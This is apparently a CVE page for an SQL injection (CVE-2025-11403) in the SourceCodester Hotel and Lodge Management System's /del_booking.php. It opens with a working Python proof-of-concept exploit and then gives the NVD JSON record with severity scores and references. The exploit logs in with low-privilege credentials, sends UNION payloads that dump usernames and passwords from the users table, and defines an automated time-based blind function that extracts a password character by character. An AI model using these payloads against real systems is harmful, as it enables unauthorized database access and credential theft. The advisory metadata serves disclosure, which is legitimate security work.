CVE-2025-11403

# CVE-2025-11403 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability: SQL Injection in /del_booking.php via ID parameter # Author: TThuyyy (based on public disclosure) import requests TARGET_URL = "http://target-site.com/del_booking.php" # Step 1: Authenticate to obtain low-privilege session (PR:L required) session = requests.Session() login_data = { "username": "low_priv_user", "password": "password123" } session.post("http://target-site.com/login.php", data=login_data) # Step 2: Exploit SQL Injection via ID parameter # Payload 1: Boolean-based blind injection to confirm vulnerability payload_blind = "1' AND 1=1-- -" # Payload 2: UNION-based injection to extract data payload_union = ( "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" ) # Payload 3: Extract admin credentials payload_creds = ( "1' UNION SELECT username,password,3,4,5,6,7,8,9,10 FROM users-- -" ) # Step 3: Send malicious request params = {"ID": payload_creds} response = session.get(TARGET_URL, params=params) print("Status Code:", response.status_code) print("Response Length:", len(response.text)) print("Response Body:\n", response.text[:2000]) # Step 4: Automated extraction using time-based blind injection import time def time_based_sqli(session, target_url, param_name="ID"): """Use time-based blind SQLi to extract data character by character.""" extracted = "" for position in range(1, 50): for ascii_val in range(32, 127): payload = ( f"1' AND IF(ASCII(SUBSTRING((SELECT password FROM users " f"LIMIT 1),{position},1))={ascii_val},SLEEP(2),0)-- -" ) start = time.time() session.get(target_url, params={param_name: payload}) elapsed = time.time() - start if elapsed >= 2: extracted += chr(ascii_val) print(f"[+] Extracted so far: {extracted}") break else: break return extracted # Uncomment to run automated extraction: # password = time_based_sqli(session, TARGET_URL) # print(f"Extracted password: {password}")

{"cve": {"id": "CVE-2025-11403", "sourceIdentifier": "[email protected]", "published": "2025-10-07T18:15:58.500", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in SourceCodester Hotel and Lodge Management System 1.0. Affected by this issue is some unknown functionality of the file /del_booking.php. Performing manipulation of the argument ID results in sql injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nikhil-bhalerao:hotel_and_lodge_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "01868A61-18A4-4C5D-B260-54D49603028E"}]}]}], "references": [{"url": "https://github.com/TThuyyy/cve1/issues/11", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327340", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327340", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665108", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/TThuyyy/cve1/issues/11", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}